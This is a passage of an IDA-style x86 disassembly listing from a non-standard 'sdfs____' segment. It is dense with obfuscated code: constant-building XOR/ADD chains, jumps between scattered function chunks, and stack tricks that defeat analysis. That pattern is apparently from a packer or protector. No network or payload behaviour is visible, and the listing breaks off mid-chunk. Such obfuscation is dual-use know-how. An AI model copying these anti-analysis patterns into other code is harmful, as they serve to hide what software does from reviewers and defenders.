; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ABAF0:				; CODE XREF: sub_5992DA+8C42j
		push	1417h
		mov	[esp+0Ah+var_C+2], edi
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], esi
		push	ecx
		mov	ecx, 74695DA1h
		mov	esi, 480450D6h
		xor	esi, ecx
		jmp	loc_5A454D
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ABB10:				; CODE XREF: sub_5AA2D1+4041j
		push	1A08h
		mov	[esp+4+var_4], eax
		push	1E64297Bh
		jmp	loc_59F455
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_5ABB22:				; CODE XREF: sub_5A3C19-7CEDj
		or	eax, 23591EC7h
		add	eax, 9404E02Dh
		mov	ebp, eax
		pop	eax
		jmp	loc_59B264
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5ABB34:				; CODE XREF: sub_5A77D5-5BA5j
		add	esp, 4
		push	edx
		jmp	loc_5A158E
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5ABB40:				; CODE XREF: sub_59D6B8:loc_5AB3A6j
		and	eax, 58E621B3h
		jns	loc_5A29AD
		jmp	sub_5A6B87
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
		add	ecx, 4
		mov	dl, 0C1h
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_5ABB5A:				; CODE XREF: sub_59D4FD-1C2Fj
		xor	edx, 4F69038Ch
		jmp	loc_5A0723
; END OF FUNCTION CHUNK	FOR sub_59D4FD

; =============== S U B	R O U T	I N E =======================================



sub_5ABB65	proc near		; DATA XREF: sdfs____:00599074o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599D48 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F538 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2343 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A3397 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A400C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A481C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A566C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8E22 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A8E6A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ACDBA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AD972 SIZE 00000021 BYTES

		mov	ax, [esp+0]
		push	1920h
		mov	[esp+4+var_4], ebx
		push	esp
		jmp	loc_5A8E22
sub_5ABB65	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5ABB77:				; CODE XREF: sub_59C979+8347j
		mov	cl, 87h
		sub	cl, 0D3h
		sub	cl, 6Fh
		add	cl, 0
		xor	cl, 6Ah
		sub	ah, cl
		pop	ecx
		add	ah, dl
		add	ah, 2Fh
		pop	edx
		jmp	loc_59E8D2
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5ABB93:				; CODE XREF: sub_5A9EBF-FD8Aj
					; sub_5A6BBC+5108j
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	ebp
		jmp	sub_59BA35
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F074


loc_5ABBA2:				; CODE XREF: sub_59F074+9B79j
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_5A9FE8
; END OF FUNCTION CHUNK	FOR sub_59F074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABFD8


loc_5ABBB0:				; CODE XREF: sub_5ABFD8-151Bj
		push	esp
		pop	esi
		push	edx
		jmp	loc_5A10D3
; END OF FUNCTION CHUNK	FOR sub_5ABFD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5ABBB8:				; CODE XREF: sub_5A79BE+FCFj
					; sub_59F4D2+EFBFj
		pop	eax
		add	ecx, 2BA029E5h
		push	ebp
		mov	ebp, 19145D0Ch
		and	ebp, 69220C53h
		xor	ebp, 0D81705Fh
		jmp	loc_59E1AD
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5ABBD6:				; CODE XREF: sub_59EE3E-508j
		push	edi
		mov	edi, 7CE11922h
		add	edi, 60EE7E52h
		xor	edi, 5CD816F7h
		push	esi
		mov	esi, 3D863AB5h
		xor	edi, esi
		pop	esi
		inc	edi
		sub	edi, 4BF65C45h
		sub	ebp, 14F3093Eh
		jmp	loc_5A7EB2
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5ABC03:				; CODE XREF: sub_5A9D64-7588j
					; sub_5A79BE:loc_5AA53Aj ...
		shr	esi, 7
		sub	esi, 1
		jmp	loc_5A437A
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5ABC0E:				; CODE XREF: sub_5AD6D4-9012j
		mov	eax, 138040D9h
		shl	eax, 8
		jmp	loc_5A2433
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------


loc_5ABC1B:				; CODE XREF: sdfs____:005A28B8j
		push	eax
		push	26A34A6Dh
		pop	eax
		jmp	loc_5A04C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5ABC27:				; CODE XREF: sub_5A580F-7563j
		push	eax
		mov	eax, esp
		jmp	loc_5A3966
; END OF FUNCTION CHUNK	FOR sub_5A580F

; =============== S U B	R O U T	I N E =======================================



sub_5ABC2F	proc near		; DATA XREF: sdfs____:00598F10o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059C99B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A9730 SIZE 0000000B BYTES

		push	[esp+arg_0]
		push	[esp+4+var_4]
		jmp	loc_5A9730
sub_5ABC2F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5ABC3B:				; CODE XREF: sub_5A72CB-6086j
		sub	ebp, 0C83D6047h
		mov	eax, ebp
		pop	ebp
		sub	ebp, eax
		push	[esp+8+var_8]
		jmp	loc_5A58F1
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5ABC4E:				; CODE XREF: sub_5A16B8+6466j
		pop	edi
		push	esi
		mov	esi, 2
		add	ebx, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		xchg	ebx, [esp+0]
		pop	esp
		sar	byte ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_5AE59B
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ABC6D:				; CODE XREF: sub_5AA2D1-F0C0j
		push	0A0Ch
		jmp	loc_599D94
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5ABC77:				; CODE XREF: sub_5A0AA2-27C3j
		push	esi
		pop	ecx
		pop	esi
		mov	edx, ecx
		pop	ecx
		shr	edx, 1
		jz	loc_5A1BDD
		jmp	loc_5A93AD
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5ABC8A:				; CODE XREF: sub_5AF2D9-158F2j
					; sub_59D37E+EECDj
		mov	[esp+0], edx
		mov	dl, 0A6h
		mov	cl, dl
		pop	edx
		jmp	loc_5AED5B
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ABC97:				; CODE XREF: sub_5AA2D1:loc_5A88C1j
		sub	ebx, 227749C7h
		sub	ebx, 5E0E70E6h
		jmp	loc_5A05BA
; ---------------------------------------------------------------------------


loc_5ABCA8:				; CODE XREF: sub_5AA2D1-55C1j
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		jmp	loc_59FB8E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5ABCB5:				; CODE XREF: sub_5A6BBC-4176j
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xor	esi, [esp+4+var_4]
		jmp	loc_5ABB93
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ABCC9:				; CODE XREF: sub_5AA2D1+1B1Fj
		push	esi
		mov	esi, esp
		push	ebp
		jmp	loc_5AF7C1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5ABCD2:				; CODE XREF: sub_5AA810-10A96j
		mov	[esp+8+var_8], edx
		push	[esp+8+var_4]
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_5AA984
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD015


loc_5ABCE1:				; CODE XREF: sub_5AD015+8j
		push	4EA7h
		mov	[esp+8+var_8], esi
		jmp	loc_5A05A1
; END OF FUNCTION CHUNK	FOR sub_5AD015
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ABCEE:				; CODE XREF: sub_5AA2D1+233Dj
		shl	edi, 5
		sub	edi, 7C4A8F3Ch
		add	ecx, edi
		pop	edi
		jmp	loc_5B02B8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5ABCFF:				; CODE XREF: sub_59EE3E+1017Ej
		shl	ecx, 3
		push	edi
		mov	edi, 236D712Ch
		xor	ecx, edi
		pop	edi
		push	eax
		mov	eax, 0E8FFE684h
		add	ecx, eax
		pop	eax
		xor	edx, ecx
		pop	ecx
		add	edx, 99F3DDF7h
		add	edi, edx
		pop	edx
		xchg	edi, [esp-8+arg_4]
		pop	esp
		jmp	sub_5ADD81
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5ABD29:				; CODE XREF: sub_5A6BBC-622j
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 4F291B78h
		xor	ebp, 4F291B7Ch
		jmp	loc_59EA1C
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 44h
		sub	al, bl
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_59C0FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5ABD5A:				; CODE XREF: sub_5A118F-653Bj
		mov	ch, 0F7h
		sub	al, ch
		pop	ecx
		sub	al, 0F0h
		sub	al, 0EEh
		sub	al, dh
		add	al, 0EEh
		add	al, 0F0h
		jmp	loc_5AE8B3
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ABD6E:				; CODE XREF: sub_5992DA+F72Bj
		pop	ebx
		add	esp, 4
		push	edx
		mov	dh, 8Ah
		and	dh, 98h
		jmp	loc_59B3A4
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8101


loc_5ABD7D:				; CODE XREF: sub_5A8101+556Ej
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], esi
		jmp	loc_5A01C9
; END OF FUNCTION CHUNK	FOR sub_5A8101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ABD8E:				; CODE XREF: sub_5AA2D1-51D8j
		add	esp, 4
		push	611Fh
		mov	[esp-0Ch+arg_8], eax
		push	edx
		pop	eax
		mov	ecx, eax
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		pop	edx
		and	eax, ecx
		push	[esp-14h+arg_10]
		mov	ecx, [esp-10h+arg_C]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp-0Ch+arg_C]
		pop	ebx
		pop	[esp-0Ch+arg_8]
		pop	esp
		or	eax, eax
		jz	sub_5A21F1
		push	dword ptr [edi+1Ch]
		push	[esp-10h+arg_C]
		mov	ecx, [esp-0Ch+arg_8]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5ABCC9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5ABDF5:				; CODE XREF: sub_5A6BBC+2550j
		pop	ecx
		sub	esp, 4
		jmp	loc_5A78D7
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------


loc_5ABDFE:				; CODE XREF: sdfs____:005AAC19j
		dec	ah
		jz	loc_5991D5
		not	ah
		jmp	loc_59EC07

; =============== S U B	R O U T	I N E =======================================



sub_5ABE0D	proc near		; CODE XREF: sub_5992DA+3EFj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B402 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A029B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A0BD8 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A6214 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A974D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AADB5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AB367 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ADB49 SIZE 00000017 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		push	60B0h
		mov	[esp+8+var_8], eax
		push	edx
		push	1703101Bh
		push	[esp+10h+var_10]
		pop	edx
		add	esp, 4
		neg	edx
		shl	edx, 6
		jp	loc_5A974D
		add	edx, 28884F5Bh
		jz	loc_5AA630
		push	eax
		push	esi
		push	1E7858BEh
		pop	esi
		inc	esi
		jl	loc_5A6214
		jmp	loc_5ADB49
sub_5ABE0D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5ABE58:				; CODE XREF: sub_5B03B3-1550Fj
		and	eax, ebx
		jmp	loc_5A3B00
; END OF FUNCTION CHUNK	FOR sub_5B03B3

; =============== S U B	R O U T	I N E =======================================



sub_5ABE5F	proc near		; CODE XREF: sub_5AA2D1-A403j

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005AF862 SIZE 0000001F BYTES

		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5AF862
sub_5ABE5F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5ABE6A:				; CODE XREF: sub_5AA810-C4F0j
		mov	[esp+0], ebx
		push	edi
		mov	edi, 123E7D15h
		jmp	loc_59ED78
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5ABE78:				; CODE XREF: sub_5A9EC5-688Fj
		add	bl, 5Fh
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_59BF1B
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5ABE89:				; CODE XREF: sub_5A477C-1B8Aj
		add	ebx, ebp
		pop	ebp
		jmp	loc_5AC1F4
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------


loc_5ABE91:				; CODE XREF: sdfs____:005999FFj
		neg	eax
		jmp	loc_5ACA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B196


loc_5ABE98:				; CODE XREF: sub_59B196+Ej
		push	esi
		push	6FC45B3Bh
		pop	esi
		jmp	loc_5A66FE
; END OF FUNCTION CHUNK	FOR sub_59B196
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5ABEA4:				; CODE XREF: sub_59C979+2E77j
		sub	eax, ebx
		add	eax, 1054596Eh
		pop	ebx
		push	ebx
		jmp	loc_5A5ACD
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5ABEB2:				; CODE XREF: sub_5AF294-B61Fj
		mov	edi, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_59C15E
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599884


loc_5ABEC2:				; CODE XREF: sub_599884+A315j
		xor	edi, ebp
		pop	ebp
		or	edi, 53A92F7Bh
		push	eax
		mov	eax, 2190417Bh
		sub	edi, eax
		pop	eax
		sub	edx, edi
		pop	edi
		add	edx, 26D46641h
		add	edx, eax
		sub	edx, 26D46641h
		add	edx, 561B2E80h
		push	ebx
		mov	ebx, 6BCE3BF8h
		jmp	loc_5AA736
; END OF FUNCTION CHUNK	FOR sub_599884

; =============== S U B	R O U T	I N E =======================================



sub_5ABEF6	proc near		; CODE XREF: sub_59E94B+11235j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059F10B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A2C8A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A40C2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4735 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A531E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5783 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A57C4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A66F2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A737A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8554 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AA18B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005ACEE7 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005ADDC1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AEB63 SIZE 00000007 BYTES

		push	ebp
		mov	ebp, 30E83F1Dh
		jmp	loc_5A4735
sub_5ABEF6	endp

; ---------------------------------------------------------------------------


loc_5ABF01:				; CODE XREF: sdfs____:0059D3CEj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		push	0A7Fh
		mov	[esp], edi
		push	310D7FC7h
		push	dword ptr [esp]
		jmp	loc_5A85C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ABF2F:				; CODE XREF: sub_5AA2D1-D7BAj
		pop	edi
		pop	ebp
		sub	ebp, ebx
		pop	ebx
		add	ebp, eax
		push	ebx
		mov	ebx, 19233571h
		add	ebx, 22F25B9Eh
		sub	ebx, 34071D11h
		push	eax
		jmp	loc_5A4DBB
; ---------------------------------------------------------------------------


loc_5ABF4E:				; CODE XREF: sub_5AA2D1-4361j
					; sub_5A7508+1353j
		add	ebx, 43927389h
		add	ebx, edi
		jmp	loc_5AE92A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_5ABF5B:				; CODE XREF: sub_5A3C19+757Aj
		pop	edi
		push	ebp
		push	eax
		push	6BF30514h
		jmp	loc_59BF25
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5ABF68:				; CODE XREF: sdfs____:005AA5F1j
					; sub_5A79BE+579Fj
		add	eax, esi
		pop	esi
		jmp	loc_5A9C5C
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------


loc_5ABF70:				; CODE XREF: sdfs____:005AA52Aj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5992E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A577C


loc_5ABF7F:				; CODE XREF: sub_5A577C-94F8j
		sub	esi, 17DD1A5Ch
		mov	ebp, esi
		pop	esi
		jmp	loc_5A8230
; END OF FUNCTION CHUNK	FOR sub_5A577C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5ABF8D:				; CODE XREF: sub_59C979+A9A4j
		xor	ebx, 3781911h
		add	ebx, 148A5AF1h
		sub	esp, 4
		mov	[esp-0Ah+arg_6], ecx
		mov	ecx, 78B063D0h
		dec	ecx
		jmp	loc_5A6823
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5ABFAD:				; CODE XREF: sub_59A9E9+22DFj
		jno	loc_5A13B2
		xor	edx, 0AC5DFB13h
		mov	esi, edx
		jmp	loc_59D27C
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5ABFC0:				; CODE XREF: sub_59D6B8+9093j
		push	edx
		mov	edx, 4
		sub	ebx, edx
		jmp	loc_59AA0C
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ABFCD:				; CODE XREF: sub_5AA2D1-EF54j
					; sub_5AA2D1-D187j
		sub	esi, 535C1B70h
		jmp	loc_59A2CF
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5ABFD8	proc near		; CODE XREF: sub_5AD84A+17j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0059B869 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C31D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C46F SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A10D3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2BCC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AAABA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABBB0 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+0], esi
		push	[esp+0Ch+var_8]
		mov	esi, [esp+0]
		add	esp, 4
		pop	dword ptr [esp+0]
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		not	ebp
		xchg	ebp, esi
		sub	esp, 4
		jmp	loc_5AAABA
sub_5ABFD8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AC006:				; CODE XREF: sub_59C979+A58Fj
		or	edi, 30803B9Ah
		add	edi, 579150F2h
		push	esi
		mov	esi, 21E72B8h
		inc	esi
		jmp	loc_5A9AC8
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC01E:				; CODE XREF: sub_5AA2D1-D66j
		push	eax
		mov	eax, 8F852C6Eh
		jmp	loc_5B0218
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AC029:				; CODE XREF: sub_5A6BBC+5918j
		sub	cl, dl
		jmp	loc_59EA03
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_5AC030:				; CODE XREF: sub_5A86D0-2D2Cj
		pop	edi
		jmp	loc_59CC45
; END OF FUNCTION CHUNK	FOR sub_5A86D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AC036:				; CODE XREF: sub_59D6B8+4C3Cj
		mov	ebx, 7FEC7434h
		jmp	loc_5A69D7
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AC040:				; CODE XREF: sub_5992DA+882Aj
		sub	cl, 0CBh
		push	bx
		mov	bl, 16h
		and	cl, bl
		pop	bx
		push	edx
		mov	dh, 49h
		xor	cl, dh
		mov	edx, [esp+0]
		add	esp, 4
		add	bl, cl
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		sub	bl, 0C8h
		push	dx
		jmp	loc_5A9E1E
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_5AC06B:				; CODE XREF: sdfs____:005ACCFCj
		not	ecx
		push	esi
		jmp	loc_5A3C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5AC073:				; CODE XREF: sub_59A9E9+E1BBj
		xor	edi, 0FC02295Ch
		add	edx, edi
		pop	edi
		jmp	sub_59F463
; ---------------------------------------------------------------------------


loc_5AC081:				; CODE XREF: sub_59A9E9+31DEj
		add	eax, 0C130B1D9h
		or	esi, eax
		pop	eax
		xor	esi, 330B7D6Dh
		and	edi, esi
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_5A8B9E
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A66D6


loc_5AC09F:				; CODE XREF: sub_5A66D6-5BA1j
		pop	edi
		add	[esp+arg_0], 3FDD76DEh
		sub	[esp+arg_0], 31C234E7h
		sub	[esp+arg_0], edx
		add	[esp+arg_0], 31C234E7h
		jmp	loc_5AC286
; END OF FUNCTION CHUNK	FOR sub_5A66D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_5AC0C1:				; CODE XREF: sub_5AFA26-8FADj
		xor	edi, [esp+0Ch+var_C]
		pop	esp
		push	558Ah
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 51B20307h
		jmp	loc_5A8DC6
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03E8


loc_5AC0D7:				; CODE XREF: sub_5B03E8-98D6j
		add	esp, 4
		push	eax
		mov	eax, 32E843F2h
		sub	eax, 1
		shl	eax, 6
		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 23F36A51h
		or	eax, edi
		pop	edi
		sub	esp, 4
		jmp	loc_59A625
; END OF FUNCTION CHUNK	FOR sub_5B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A491A


loc_5AC0FE:				; CODE XREF: sub_5A491A+8523j
		push	dword ptr [esp+0]
		pop	edx
		jmp	loc_59DA8F
; END OF FUNCTION CHUNK	FOR sub_5A491A
; ---------------------------------------------------------------------------


loc_5AC107:				; CODE XREF: sdfs____:005AAE82j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		push	edi
		jmp	loc_5A9D2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5AC116:				; CODE XREF: sub_5A79BE-D9BBj
		add	eax, [ecx]
		push	[esp-4+arg_0]
		jmp	loc_5A893C
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AC120:				; CODE XREF: sub_5B01F7-E2A7j
		and	ecx, eax
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_5AAE30
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5AC130:				; CODE XREF: sub_5A4E04:loc_5A0B97j
		xor	ebx, 3DBE8C34h
		add	eax, 495F5A41h
		add	eax, ebx
		push	edi
		mov	edi, 495F5A41h
